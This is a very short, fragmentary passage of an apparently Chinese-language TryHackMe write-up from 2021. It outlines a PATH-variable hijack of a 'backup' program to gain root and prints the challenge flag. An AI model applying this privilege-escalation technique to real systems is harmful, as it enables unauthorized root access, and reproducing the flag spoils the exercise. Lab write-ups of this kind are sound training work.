+x cp執行 backup- ./backup取得 root 權限 !!- thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}

2021-08-06 · 2 分鐘 · steven